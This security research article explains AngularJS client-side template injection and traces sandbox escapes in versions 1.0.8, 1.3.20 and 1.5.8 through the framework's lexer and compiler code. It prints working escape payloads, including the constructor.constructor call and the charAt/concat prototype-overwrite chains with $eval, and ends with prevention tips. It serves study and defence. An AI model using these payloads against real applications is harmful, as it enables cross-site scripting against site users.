There is a Client-Side JavaScript framework called AngularJS that is used to develop one-page web applications. The ability to change in-page values live and execute JavaScript code increases the likelihood of Client-Side vulnerabilities such as XSS and Client-Side Template Injection in this framework. To understand these vulnerabilities in different versions of AngularJS, it is best to first get a little familiar with this framework.
Introducing AngularJS
The general procedure of this framework is as follows:
Inside the html page, wherever the ng-app
attribute is given to a tag, all the content of that tag is analyzed by AngularJS and changes are made if necessary. Inside the tag with the ng-app
attribute, you can use the symbols related to the AngularJS template ({{}}
). AngularJS treats anything inside {{}}
as executable code or variable name. Functions and commands in JavaScript are applicable with restrictions, and variables and functions defined in Scope can be called. Example from W3Schools:
[html]
<!DOCTYPE html>
<html lang="en-US">
<body>
<div ng-app="">
Name : <input type="text" ng-model="name">
<h1>Hello {{name}}</h1>
</div>
</body>
</html>
[/html]
AngularJS Scope
After seeing the tag with the ng-app
attribute, this framework implicitly defines a Scope for it. Any variables, models, functions or … that are defined in this ng-app
are thrown in the same Scope. as a result; First, a separate namespace is defined for each app, and second, access to outside of this namespace is restricted.
AngularJS Sandbox
Earlier versions of AngularJS 1.6 had a sandbox that restricted programmer access to the JavaScript environment. Since none of the patches in previous versions prevented Sandbox from being circumvented, AngularJS developer policy changed and removed this Sandbox. Currently the only use of Scope is to create separate namespaces, and access to higher levels is not recognized as a security hole by the framework. So it’s the programmer who has to pay attention to this and not let CSTI happen.
In this article, we examine the vulnerabilities discovered in the Sandbox AngularJS framework that existed in previous versions. Although the Sandbox no longer exists, analyzing these vulnerabilities and the security mechanisms in place to prevent them provides valuable knowledge and experience in detecting vulnerabilities in other frameworks and sites.
JavaScript, because of its prototype-based architecture, inherently allows access to other objects in the language, known as Prototype Pollution. In the Sandbox designed in AngularJS, the developers tried to somehow disable this feature of the JavaScript language so that their intended functionality in the framework would not be affected. But despite the implementation of complex mechanisms, they failed to do so. Ultimately, the prevention of these vulnerabilities was left to programmers using AngularJS. At the end, tips for preventing this vulnerability that should be considered by AngularJS programmers are described.
In the following, we will examine the vulnerabilities of CSTI, Sandbox Escape and XSS on different versions of AngularJS.
Distinguish between these vulnerabilities
Before we begin examining the vulnerabilities themselves, it is best to explain the distinction between Sandbox Escape, CSTI and XSS. Of course, these points have no effect on the text itself and have been proposed only to improve the specialized literature of the text.
In AngularJS, if the user input is used directly (without any sanitizing or filtering) in the ng-app
tag content, the page has CSTI vulnerabilities. This vulnerability has no value in itself. It will be valuable if the vulnerability can be implemented to execute user-side JavaScript code and consequently XSS. As a result, the AngularJS framework introduced a mechanism called Sandbox to prevent code execution, which would prevent the code from running if CSTI occurred. But each time, web security researchers managed to escape the Sandbox, resulting in XSS. In order to escape from the sandbox, the concepts of Prototype-Based Programming have been used, which in some cases, due to the weakness in the implementation of the sandbox, the Prototype Pollution technique leads to escape.
Test environment
To examine the following vulnerabilities, a test environment has been designed that you can download from this link. This environment includes a PHP back-end that takes user input and inserts it into the page without sufficient filtering and sanitizing. Ironically, the place that is affected by the input is inside the tag with the ng-app attribute. As a result, this laboratory is vulnerable to CSTI.
As a result of this vulnerability, cybersecurity researchers have been able to find a way to execute JavaScript code, which we will examine in different versions of AngularJS. It should be noted that to examine the process of executing JavaScript code, the uncompressed AngularJS code has been downloaded from here, and in key points of the code, the debugger
command has been used to create a breakpoint.
How to Test Client Side Template Injection
In all the explanations below, we perform this test in the first step; Because without this vulnerability, the rest of the steps are impossible. To test this vulnerability, you can use the template code of the framework (here AngularJS). For example, we enter {{1 + 1}}
here. If the output is 2
, it means that this page is vulnerable to CSTI.
AngularJS 1.0.8 Sandbox Escape
First we identify the starting point of the code. Searching for the ng-app
string (which I described) we get to the starting point. This string is only in the angularInit
function. Finding the calls of this function, we make sure that the starting point is this function; Because there is only one call at the end of the code. So we put the first debugger
at the beginning of this function and start examining the code step by step. Below you can see the beginning and end of the definition of this function:
[javascript]
function angularInit(element, bootstrap) {
debugger;
var elements = [element],
appElement,
module,
names = [‘ng:app’, ‘ng-app’, ‘x-ng-app’, ‘data-ng-app’],
NG_APP_CLASS_REGEXP = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;
// …
// some code
// …
if (appElement) {
bootstrap(appElement, module ? [module] : []);
}
}
[/javascript]
Function call location:
[javascript]
jqLite(document).ready(function() {
angularInit(document, bootstrap);
});
[/javascript]
Nothing significant happens until the bootstrap
function is called. So the next function that needs to be considered is this function. To check the code execution process, enter the entry {{1 + 1}}
in the search form and click the Search button. Using the browser debugger, we follow the code execution process. In the bootstrap
function, there is a call to the doBootstrap
function. This function inside bootstrap
is defined as follows: (I have added some debugger
commands to check the execution of the program.)
[javascript]
var doBootstrap = function() {
debugger;
element = jqLite(element);
modules = modules || [];
modules.unshift([‘$provide’, function($provide) {
$provide.value(‘$rootElement’, element);
}]);
modules.unshift(‘ng’);
var injector = createInjector(modules);
injector.invoke([‘$rootScope’, ‘$rootElement’, ‘$compile’, ‘$injector’,
function(scope, element, compile, injector) {
debugger;
scope.$apply(function() {
element.data(‘$injector’, injector);
compile(element)(scope);
});
}]
);
return injector;
};
[/javascript]
With the debugger, we go to the compile
function call line. In the Debugger Console, we check the compile
function code (with compile.toString()
). Here is where this function is called:
[javascript]
scope.$apply(function() {
element.data(‘$injector’, injector);
compile(element)(scope);
});
[/javascript]
This function starts like this:
[javascript]
function compile($compileNodes, transcludeFn, maxPriority) {
debugger;
if (!($compileNodes instanceof jqLite)) {
// jquery always rewraps, whereas we need to preserve the original selector so that we can modify it.
$compileNodes = jqLite($compileNodes);
}
[/javascript]
By searching this code in the whole file, we reach the desired function. This function is defined as “compile” in the file. From here, understanding exactly how the AngularJS compiler works requires detailed and lengthy analysis, which is beyond the scope of this article. The following is a summary of its performance review (more on AngularJS compiler here).
AngularJS Compiler
The compile
function is the starting point for examining attributes that start with -ng
and the code inside {{}}
, which examines all HTML nodes and looks for AngularJS code. If it finds the AngularJS code, it sends it to the parser
function for analysis. In the first steps of this function, another function called lex
is called. The output of this function is an array of tokens obtained by the Lexical Analysis. This function parses the code components and Tokenize the code according to the rules of the JavaScript language. This is lex
function codes, without the internal functions defined in it (see the full code from the lab environment file):
[javascript]
function lex(text, csp){
debugger;
var tokens = [],
token,
index = 0,
json = [],
ch,
lastCh = ‘:’; // can start regexp
while (index < text.length) {
ch = text.charAt(index);
if (is(‘"\”)) {
readString(ch);
} else if (isNumber(ch) || is(‘.’) && isNumber(peek())) {
readNumber();
} else if (isIdent(ch)) {
readIdent();
// identifiers can only be if the preceding char was a { or ,
if (was(‘{,’) && json[0]=='{‘ &&
(token=tokens[tokens.length-1])) {
token.json = token.text.indexOf(‘.’) == -1;
}
} else if (is(‘(){}[].,;:’)) {
tokens.push({
index:index,
text:ch,
json:(was(‘:[,’) && is(‘{[‘)) || is(‘}]:,’)
});
if (is(‘{[‘)) json.unshift(ch);
if (is(‘}]’)) json.shift();
index++;
} else if (isWhitespace(ch)) {
index++;
continue;
} else {
var ch2 = ch + peek(),
fn = OPERATORS[ch],
fn2 = OPERATORS[ch2];
if (fn2) {
tokens.push({index:index, text:ch2, fn:fn2});
index += 2;
} else if (fn) {
tokens.push({index:index, text:ch, fn:fn, json: was(‘[,:’) && is(‘+-‘)});
index += 1;
} else {
throwError("Unexpected next character ", index, index+1);
}
}
lastCh = ch;
}
debugger;
return tokens;
[/javascript]
For example, in the following code, which is part of lex
, if the condition of the isNumber
function is met (ie, the code snippet is a number), the readNumber
function is called, which adds the number token to the list of tokens (the content of the readNumber
function You can check for yourself):
[javascript]
else if (isNumber(ch) || is(‘.’) && isNumber(peek())) {
readNumber();
[/javascript]
At the end of the readNumber
function, a token is added to the token list as follows:
[javascript]
tokens.push({index:start, text:number, json:true,
fn:function() {return number;}});
[/javascript]
Each token added has the following structure:
[javascript]
{
index: index,
text: ch,
fn: fn
}
[/javascript]
index
: Specifies the starting point of the token string in the main string.ch
: Saves the token string.fn
: Thegetter
function, which is responsible for capturing the corresponding value of code, number, string, etc. in AngularJS code.
The part that appeals to us is fn
. To better understand this function, let’s first look at an example of a case where the token is a number (isNumber
returns true
). Note the end of the readNumber
function:
[javascript]
tokens.push({index:start, text:number, json:true,
fn:function() {return number;}});
[/javascript]
In this example, the fn
function returns only the number
, which is essentially the parseInt
value of that number. But for variables, functions, and other JavaScript objects that have non-fixed values, the situation is different, and the fn
code is not that simple.
The lex
function uses the isIdnet
function to identify variables, functions, and other JavaScript objects, and with readIdent
, generates related tokens that contain the relatively complex fn
function to get their value. So we have to look at the readIdent
function. The following code from this function initialize fn
:
[javascript]
<pre>var getter = getterFn(ident, csp);
token.fn = extend(function(self, locals) {
return (getter(self, locals));
}, {
assign: function(self, value) {
return setter(self, ident, value);
}
});
[/javascript]
We see that another function called getterFn
builds the getter
value from the ident
string, which can be the name of any variable, function, or JavaScript object. With the help of debugger we can conclude that getter
is what is finally called in fn
.
Although the static analysis of the getterFn
function is not without merit, we will suffice with its dynamic analysis. Then we enter some values in the search form and see the result of this function. To do this, just put a breakpoint after the getterFn
call line, and after entering the input and hitting the breakpoint, check the value getter.toString()
to see the code generated for the getter
function.
Dynamic analysis
This time we enter the value {{objectA.propertyA}}
and the following code is generated: (We know that s
is the scope and k
is the locals)
[javascript]
var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("objectA"))?k:s)["objectA"];
if (s && s.then) {
if (!("$$v" in s)) {
p=s;
p.$$v = undefined;
p.then(function(v) {p.$$v=v;});
}
s=s.$$v
}
if(s === null || s === undefined) return s;
l=s;
s=s["propertyA"];
if (s && s.then) {
if (!("$$v" in s)) {
p=s;
p.$$v = undefined;
p.then(function(v) {p.$$v=v;});
}
s=s.$$v
}
return s;
[/javascript]
It is clear that for each dot (.
), A dereference operation is performed and it is used each time to obtain the property of the previous object. The first object from which the property is extracted is k && k.hasOwnProperty("objectA")? k: s
. Given that k
is the locals variable, and s
is the scope, it can be seen that this piece of code first tries to find the object in the locals variables and if it does not find it, it goes to the scope. To examine this issue in more detail and the process of executing the code generated by getterFn
, it is better to use the debugger
command inside the generated code so that whenever AngularJS wants to execute it, we can follow the available values such as s
, k
, etc. The first part of the code generated by the getterFn
function is written as follows, which we add debugger;
code before var
.
[javascript]
var code = ‘debugger;var l, fn, p;\n’;
forEach(pathKeys, function(key, index) {
code += ‘if(s === null || s === undefined) return s;\n’ +
‘l=s;\n’ +
‘s=’+ (index
// we simply dereference ‘s’ on any .dot notation
? ‘s’
// but if we are first then we check locals first, and if so read it first
: ‘((k&&k.hasOwnProperty("’ key ‘"))?k:s)’) ‘["’ key ‘"]’ ‘;\n’
‘if (s && s.then) {\n’ +
‘ if (!("$$v" in s)) {\n’
‘ p=s;\n’ +
‘ p.$$v = undefined;\n’ +
‘ p.then(function(v) {p.$$v=v;});\n’ +
‘}\n’ +
‘ s=s.$$v\n’ +
‘}\n’;
});
code += ‘return s;’;
[/javascript]
After reloading the page, we reach the breakpoint. You can see the values of s
and k
in the image below. As you can see, k
is equal to undefined
. The program then takes the objectA
object from s
.
Now suppose we get a specific property __proto__
or constructor
, which has a specific meaning in JavaScript, instead of trying to get an ordinary object in the scope or locals of the program. (For more information on this topic, you can read about Javascript Prototype Pollution.)
By continuing the access process to the constructor
, we can reach the Function
method in JavaScript. This method allows us to execute JavaScript code directly. So because there is no filter on the names of variables, functions and other JavaScript objects that are to be read from the scope of the program; We can get to the Function
method in the structure of Prototype-Based objects in JavaScript. The Function
method is responsible for defining functions in the JavaScript language, which allows us to define a new function. To define a function using the Function
method, the JavaScript code must be passed to its argument as a string. The resulting input that executes the JavaScript code is {{constructor.constructor ("alert (1)")()}}
, which can enter any other JavaScript code that is required instead of alert
and the continuation of the story … 😈
AngularJS 1.3.20 Sandbox Escape
Examining the important functions we found in the previous section, we find that the code structure is largely the same as before. So we go straight to the part of generating code, the getterFn
function. Similar to the previous time, we use the debugger
command at the beginning of the generated code.
[javascript]
var code = ‘debugger;’;
if (expensiveChecks) {
code += ‘s = eso(s, fe);\nl = eso(l, fe);\n’;
}
var needsEnsureSafeObject = expensiveChecks;
forEach(pathKeys, function(key, index) {
ensureSafeMemberName(key, fullExp);
var lookupJs = (index
// we simply dereference ‘s’ on any .dot notation
? ‘s’
// but if we are first then we check locals first, and if so read it first
: ‘((l&&l.hasOwnProperty("’ + key + ‘"))?l:s)’) + ‘.’ + key;
if (expensiveChecks || isPossiblyDangerousMemberName(key)) {
lookupJs = ‘eso(‘ + lookupJs + ‘, fe)’;
needsEnsureSafeObject = true;
}
code += ‘if(s == null) return undefined;\n’ +
‘s=’ + lookupJs + ‘;\n’;
});
code += ‘return s;’;
[/javascript]
Now that we can examine the code generated by the AngularJS compiler, we examine the results of the various inputs. By entering {{unk9vvn}}
the following result is obtained:
[javascript]
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("unk9vvn"))?l:s).unk9vvn;
return s;
[/javascript]
Similar to the previous time, s
is the same as scope and l
is the same as locals. So far there seems to be no change other than changing the name of the variable l
! 🤔 This time we try the {{constructor}}
input:
[javascript]
if(s == null) return undefined;
s=eso(((l&&l.hasOwnProperty("constructor"))?l:s).constructor, fe);
return s;
[/javascript]
Significant changes seem to have happened! The eso
function and the variable fe
are new things to consider. We check the values with the debugger console. fe
is nothing but a "constructor"
string, which is our input here. But eso
is a function defined in the framework code called ensureSafeObject
. Looking at this function, we find that the main part that is supposed to prevent access to dangerous objects such as constructor
and window
, is this function.
[javascript]
function ensureSafeObject(obj, fullExpression) {
// nifty check if obj is Function that is fast and works across iframes and other contexts
if (obj) {
if (obj.constructor === obj) {
throw $parseMinErr(‘isecfn’,
‘Referencing Function in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
} else if (// isWindow(obj)
obj.window === obj) {
throw $parseMinErr(‘isecwindow’,
‘Referencing the Window in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
} else if (// isElement(obj)
obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
throw $parseMinErr(‘isecdom’,
‘Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
} else if (// block Object so that we can’t get hold of dangerous Object.* methods
obj === Object) {
throw $parseMinErr(‘isecobj’,
‘Referencing Object in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
}
}
return obj;
}
[/javascript]
When I followed this function using the debugger and the previous input, I realized that the {{constructor}}
input is not recognized as a dangerous input. So it’s a good idea to look at the effective input in the previous version, {{constructor.constructor("alert(12)")()}}
. The last input causes the condition obj.constructor === obj
to be true
. This means that access to the constructor
is not completely closed and only the Function
object can not be accessed (in the last input, using the constructor
again, we reach the Function
object, which we have been denied in this version).
We know that the
constructor
of aFunction
object in JavaScript is theFunction
itself.
So we can use the constructor
to access other objects like Array
and String
. For example, by entering a {{'a'.constructor}}
We get to the JavaScript String
, which helps us to modify the prototype
property and change the structure of the String
as we want. But how does this help us?
Earlier we talked about a part called lexer that in the first step of compiling the code, with the help of Lexical Analysis method, can analyze different parts of the code as tokens. In this version of AngularJS, the lexer
function has changed slightly due to a change in the code structure. But the whole thing is what it was. This function is now defined as lex
in an object called Lexer
, part of the code of which can be found here:
[javascript]
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (ch === ‘"’ || ch === "’") {
this.readString(ch);
} else if (this.isNumber(ch) || ch === ‘.’ && this.isNumber(this.peek())) {
this.readNumber();
} else if (this.isIdent(ch)) {
this.readIdent();
}
[/javascript]
Such conditions are consistently defined in this function, which is responsible for identifying different code tokens. But as you can see, the input string
is checked character by character with the help of the charAt
function. charAt
is a function defined in the prototype
of a String
object. As we explained, we have access to this section; That means we can manipulate the charAt
function. And this helps us to confuse the lex
function. This causes the code tokens not to be correctly identified and the part of the code that contains dangerous characters such as .
, ()
, Etc. to be used directly in the final generated code, which means the direct execution of JavaScript commands. this is our ultimate goal.
So we change charAt
to concat
. Just enter the value {{'a'.constructor.prototype.charAt =' b'.concat}}
as input, and after the page is fully loaded in the JavaScript console, use the charAt
function of a string instance. For example:
You can see that we were able to infect the desired function. But to exploit this infection, we have to call the AngularJS compiler once again and run our malicious input. We can use the $eval
function to do this. This function for AngularJS is like eval
for JavaScript and executes AngularJS related code that prompts its compiler. As a result, we enter our final input, which is {{'a'.constructor.prototype.charAt =' b'.concat; $eval('x = alert (1)');}}
. Just see the result of this input. Our code is executed and an alert is displayed.
But why does x=alert(1)
execute? To answer this question, we reactivate the breakpoints we entered in the getterFn
function so that we can see the generated code. This function is used twice. The result for the first time is not so important to us. But the result of the second time is what explains why the previous code was executed:
[javascript]
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("x=alert(1)"))?l:s).x=alert(1);
return s;
[/javascript]
You can see that the entire input of the $eval
function is recognized as an attribute of the scope, and the program puts the whole string x=alert(1)
after the dot (.
). This means that our input is executed without any filter by the JavaScript engine.
Note: We entered the x=
part only to preserve the correct syntax of the JavaScript language.
AngularJS 1.5.8 Sandbox Escape
Based on the experience we have gained from the previous two versions, we know that the code created by the compiler will eventually be converted to executable code by the JavaScript Function
object. So by searching for a new Function
, we can easily get to the part of the framework code where the result of the AngularJS compiler is located.
[javascript]
var fn = (new Function(‘$filter’,
‘ensureSafeMemberName’,
‘ensureSafeObject’,
‘ensureSafeFunction’,
‘getStringValue’,
‘ensureSafeAssignContext’,
‘ifDefined’,
‘plus’,
‘text’,
fnString))(
this.$filter,
ensureSafeMemberName,
ensureSafeObject,
ensureSafeFunction,
getStringValue,
ensureSafeAssignContext,
ifDefined,
plusFn,
expression);
debugger;
[/javascript]
The part we are looking for is used in the ASTCompiler
object prototype
, inside a function called compile
:
[javascript]
ASTCompiler.prototype = {
compile: function(expression, expensiveChecks) {
[/javascript]
Inside this function, after defining fn
, we put a debugger
command and examine the code created by the new compiler, with different inputs. First we start with input {{unk9vvn}}
and the following result is obtained (the following code is the sorted code of the original code):
[javascript]
function(s, l, a, i) {
var v5, v6 = l && (‘constructor’ in l);
if(!(v6)) {
if(s) {
v5 = s.unk9vvn;
}
} else {
v5 = l.unk9vvn;
}
return v5;
}
[/javascript]
No security mechanism appears to be enabled. This time we use the relatively dangerous input {{constructor}}
:
[javascript]
function(s, l, a, i) {
var v5, v6 = l && (‘constructor’ in l);
if(!(v6)) {
if(s) {
v5 = s.constructor;
}
} else {
v5 = l.constructor;
}
ensureSafeObject(v5, text);
return v5;
}
[/javascript]
So far there is no difference, except for the apparent difference, with the previous part. Exactly like the previous version, first it tries to call the desired value from the scope. If does not exist, locals is used and since the constructor
name is dangerous, the ensureSafeObject
function is used. Since the ensureSafeObject
function has not changed, we may be able to use the previous method. To do this, we first use the first part of the payload, ie {{'a'.constructor.prototype =' b'.concat}}
. As a result, the following code is generated:
[javascript]
‘use strict’;
var fn = function (s, l, a, i) {
var v0,
v1,
v2,
v3,
v4;
v3 = ‘a’;
if (v3 != null) {
ensureSafeAssignContext(v3, text);
if (!(v3.constructor)) {
v3.constructor = {
};
}
v1 = ensureSafeObject(v3.constructor, text);
} else {
v1 = undefined;
}
if (v1 != null) {
v2 = v1.prototype;
} else {
v2 = undefined;
}
if (v1 != null) {
v4 = ‘b’;
if (v4 != null) {
v0 = v4.concat;
} else {
v0 = undefined;
}
ensureSafeObject(v1.prototype, text);
ensureSafeAssignContext(v1, text);
}
return v1.prototype = v0;
};
return fn;
[/javascript]
You can see that unlike the previous version, the equalization operation is done in the same code; while in the previous version getter and setter were different and their implementation structure was different. The special difference of this version is in the ensureSafeAssignContext
function. That is, to perform equalization, conditions are applied in run-time mode. The code for this function is defined as follows:
[javascript]
function ensureSafeAssignContext(obj, fullExpression) {
if (obj) {
if (obj === (0).constructor || obj === (false).constructor || obj === ”.constructor ||
obj === {}.constructor || obj === [].constructor || obj === Function.constructor) {
throw $parseMinErr(‘isecaf’,
‘Assigning to a constructor is disallowed! Expression: {0}’, fullExpression);
}
}
}
[/javascript]
You can see that if the object used is equal to the constructor
of any of the Boolean, Integer, String, Object, Array, Function values, this function displays an error message and prevents the program from continuing to run. So, the last input we entered falls into the trap of this function.
The first thing that comes to mind is whether there is such a problem without putting 'a'.constructor.prototype
equal to another value (logically there should be no problem). After testing this, this point will be finalized for us.
Now, due to the feature of this version that allows us to set a new variable, we can store the above value in a variable called x
and try to infect the prototype
functions. But are there still similar conditions where we can confuse the lexer by infecting charAt
? Examining the code, we see that the code of the lex
function has not changed. To test the success or failure of this, we enter the input {{x = 'a'.constructor.prototype; x.charAt =' b'.concat}}
and after the page is fully loaded, we call charAt
function of a string. The result is as the same as last time, which shows that we have achieved our goal.
Now it is enough to use the $eval
function. The lex function, this time too, considers our input as an Identity and causes all our input to appear as a piece of JavaScript code in the final compiler code. We can check this by entering a test value: {{x = 'a'.constructor.prototype; x.charAt =' b'.concat; $eval('x=alert(1)');}}
After entering the above value, the AngularJS compiler is called twice. The first time it generates code that is not so important to us. But the second time it is called by the $eval
function it generates the following code. As you can see, the $eval
argument appears entirely inside the final code:
[javascript]
‘use strict’;
var fn = function (s, l, a, i) {
var v5,
v6 = l && (‘x=alert(1)’ in l);
if (!(v6)) {
if (s) {
v5 = s.x = alert(1);
}
} else {
v5 = l.x = alert(1);
}
return v5;
};
fn.assign = function (s, v, l) {
var v0,
v1,
v2,
v3,
v4 = l && (‘x=alert(1)’ in l);
v3 = v4 ? l : s;
if (!(v4)) {
if (s) {
v2 = s.x = alert(1);
}
} else {
v2 = l.x = alert(1);
}
if (v3 != null) {
v1 = v;
ensureSafeObject(v3.x = alert(1), text);
ensureSafeAssignContext(v3, text);
v0 = v3.x = alert(1) = v1;
}
return v0;
};
return fn;
[/javascript]
And that means we were able to escape AngularJS Sandbox again and get to Javascript Execution.
Prevent these vulnerabilities
As we said, from version 1.6 onwards, the AngularJS sandbox was completely removed. The reason for this is its ineffectiveness. This means that from version 1.6 onwards, if there is a CSTI vulnerability, Javascript Execution can be done with the following Payload from the user:
constructor.constructor("alert(1)")()
So a developer, from the beginning, has to code in such a way that there is no CSTI at all. The AngularJS site itself explains:
It’s best to design your application in such a way that users cannot change client-side templates.
And in the continuation of the sentence, mentions the following:
XSS protection tips in AngularJS
- Do not combine client-side templates with server-side templates!
- Do not use user input to create a template as a variable!
- Do not use userContent in the following dangerous cases:
$watch(userContent, ...)
$watchGroup(userContent, ...)
$watchCollection(userContent, ...)
$eval(userContent)
$evalAsync(userContent)
$apply(userContent)
$applyAsync(userContent)
$compile(userContent)
$parse(userContent)
$interpolate(userContent)
{{ value | orderBy : userContent }}
- Use CSP. (Of course, this mechanism is not enough and you should not be satisfied with it)
There are a number of other things that have been said on the AngularJS site that I have not mentioned here due to differences in subject matter. If you are interested in reading more about AngularJS security tips, please refer to this link.
References
This is the result of a study by the Unk9vvN research team on existing cyber security research. This article uses the findings of researchers such as Ian Hickey, Gareth Heyes and Mario Heiderich. Certainly, the purpose of this article was not just to translate the existing content. So all the concepts, which are gathered from several articles, have been rewritten to be better understood. May this type of material be a suitable source for Persian speaking people studies in this field.